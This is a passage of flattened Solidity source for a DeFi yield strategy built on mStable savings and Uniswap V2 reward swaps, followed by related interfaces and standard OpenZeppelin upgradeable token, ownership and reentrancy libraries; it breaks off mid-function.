uint256 _strategyTokens = (_amount * oneToken) / _price;
return _redeem(_strategyTokens, _price);
}
/// @notice Approximate APR
/// @return APR
function getApr() external view override returns (uint256) {
uint256 rawBalance = vault.rawBalanceOf(address(this));
uint256 expectedUnderlyingAmount = imUSD.creditsToUnderlying(rawBalance);
uint256 gain = expectedUnderlyingAmount - lastIndexAmount;
if (gain == 0) {
return 0;
}
uint256 time = block.timestamp - lastIndexedTime;
uint256 gainPerc = (gain * 10**20) / lastIndexAmount;
uint256 apr = (YEAR / time) * gainPerc;
return apr;
}
/* -------- internal functions ------------- */
/// @notice Internal function to redeem the underlying tokens
/// @param _amount Amount of strategy tokens
/// @return massetReceived Amount of underlying tokens received
function _redeem(uint256 _amount, uint256 _price) internal returns (uint256 massetReceived) {
lastIndexAmount = lastIndexAmount - _amount;
lastIndexedTime = block.timestamp;
ISavingsContractV2 _imUSD = imUSD;
// mUSD we want back
uint256 redeemed = (_amount * _price) / oneToken;
uint256 imUSDToRedeem = _imUSD.underlyingToCredits(redeemed);
totalLpTokensStaked -= redeemed;
_burn(msg.sender, _amount);
vault.withdraw(imUSDToRedeem);
massetReceived = _imUSD.redeemCredits(imUSDToRedeem);
underlyingToken.transfer(msg.sender, massetReceived);
}
/// @notice Function to swap the governance tokens on uniswapV2
/// @param minLiquidityTokenToReceive minimun number of tokens to that need to be received
/// @return _bal amount of underlyings (mUSD) received
function _swapGovTokenOnUniswapAndDepositToVault(uint256 minLiquidityTokenToReceive) internal returns (uint256 _bal) {
IERC20Detailed _govToken = IERC20Detailed(govToken);
uint256 govTokensToSend = _govToken.balanceOf(address(this));
IUniswapV2Router02 _uniswapV2Router02 = uniswapV2Router02;
_govToken.approve(address(_uniswapV2Router02), govTokensToSend);
_uniswapV2Router02.swapExactTokensForTokens(
govTokensToSend,
minLiquidityTokenToReceive,
uniswapRouterPath,
address(this),
block.timestamp
);
_bal = underlyingToken.balanceOf(address(this));
_depositToVault(_bal, false);
// save the block in which rewards are swapped and the amount
latestHarvestBlock = block.number;
totalLpTokensLocked = _bal;
}
/// @notice Claim governance tokens
/// @param endRound End Round from which the Governance tokens must be claimed
function claimGovernanceTokens(uint256 endRound) external onlyOwner {
_claimGovernanceTokens(endRound);
}
/// @notice Claim governance tokens
/// @param endRound End Round from which the Governance tokens must be claimed
function _claimGovernanceTokens(uint256 endRound) internal {
if (endRound == 0) {
(, , endRound) = vault.unclaimedRewards(address(this));
}
vault.claimRewards(rewardLastRound, endRound);
rewardLastRound = endRound;
}
/// @notice Change the uniswap router path
/// @param newPath New Path
/// @dev operation can be only done by the owner of the contract
function changeUniswapRouterPath(address[] memory newPath) public onlyOwner {
uniswapRouterPath = newPath;
}
/// @notice allow to update whitelisted address
function setWhitelistedCDO(address _cdo) external onlyOwner {
require(_cdo != address(0), "IS_0");
idleCDO = _cdo;
}
/// @notice allow to update whitelisted address
function setReleaseBlocksPeriod(uint256 _period) external onlyOwner {
releaseBlocksPeriod = _period;
}
/// @notice
function _lockedLpTokens() internal view returns (uint256 _locked) {
uint256 _releaseBlocksPeriod = releaseBlocksPeriod;
uint256 _blocksSinceLastHarvest = block.number - latestHarvestBlock;
uint256 _totalLockedLpTokens = totalLpTokensLocked;
if (_totalLockedLpTokens > 0 && _blocksSinceLastHarvest < _releaseBlocksPeriod) {
// progressively release harvested rewards
_locked = _totalLockedLpTokens * (_releaseBlocksPeriod - _blocksSinceLastHarvest) / _releaseBlocksPeriod;
}
}
/// @notice Modifier to make sure that caller os only the idleCDO contract
modifier onlyIdleCDO() {
require(idleCDO == msg.sender, "Only IdleCDO can call");
_;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.10;
interface IIdleCDOStrategy {
function strategyToken() external view returns(address);
function token() external view returns(address);
function tokenDecimals() external view returns(uint256);
function oneToken() external view returns(uint256);
function redeemRewards(bytes calldata _extraData) external returns(uint256[] memory);
function pullStkAAVE() external returns(uint256);
function price() external view returns(uint256);
function getRewardTokens() external view returns(address[] memory);
function deposit(uint256 _amount) external returns(uint256);
// _amount in `strategyToken`
function redeem(uint256 _amount) external returns(uint256);
// _amount in `token`
function redeemUnderlying(uint256 _amount) external returns(uint256);
function getApr() external view returns(uint256);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.10;
interface IMAsset {
function redeem(
address _output,
uint256 _mAssetQuantity,
uint256 _minOutputQuantity,
address _recipient
) external returns (uint256 outputQuantity);
function mint(
address _input,
uint256 _inputQuantity,
uint256 _minOutputQuantity,
address _recipient
) external returns (uint256 mintOutput);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function swap(
address _input,
address _output,
uint256 _inputQuantity,
uint256 _minOutputQuantity,
address _recipient
) external returns (uint256 swapOutput);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.10;
interface ISavingsContractV2 {
// DEPRECATED but still backwards compatible
function redeem(uint256 _amount) external returns (uint256 massetReturned);
function creditBalances(address) external view returns (uint256); // V1 & V2 (use balanceOf)
// --------------------------------------------
function depositInterest(uint256 _amount) external; // V1 & V2
function depositSavings(uint256 _amount) external returns (uint256 creditsIssued); // V1 & V2
function depositSavings(uint256 _amount, address _beneficiary) external returns (uint256 creditsIssued); // V2
function redeemCredits(uint256 _amount) external returns (uint256 underlyingReturned); // V2
function redeemUnderlying(uint256 _amount) external returns (uint256 creditsBurned); // V2
function exchangeRate() external view returns (uint256); // V1 & V2
function balanceOfUnderlying(address _user) external view returns (uint256 balance); // V2
function underlyingToCredits(uint256 _credits) external view returns (uint256 underlying); // V2
function creditsToUnderlying(uint256 _underlying) external view returns (uint256 credits); // V2
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.10;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
interface IERC20Detailed is IERC20Upgradeable {
function name() external view returns(string memory);
function symbol() external view returns(string memory);
function decimals() external view returns(uint256);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.10;
interface IVault {
function stake(uint256 _amount) external;
function stake(address _beneficiary, uint256 _amount) external;
function exit() external;
function exit(uint256 _first, uint256 _last) external;
function withdraw(uint256 _amount) external;
function rawBalanceOf(address _account) external view returns (uint256);
function claimRewards() external;
function claimRewards(uint256 _first, uint256 _last) external;
function boostDirector() external view returns (address);
function getRewardToken() external view returns (address);
function notifyRewardAmount(uint256 _reward) external;
function unclaimedRewards(address _account)
external
view
returns (
uint256 amount,
uint256 first,
uint256 last
);
}
pragma solidity >=0.6.2;
import "./IUniswapV2Router01.sol";
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
import "../../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[45] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
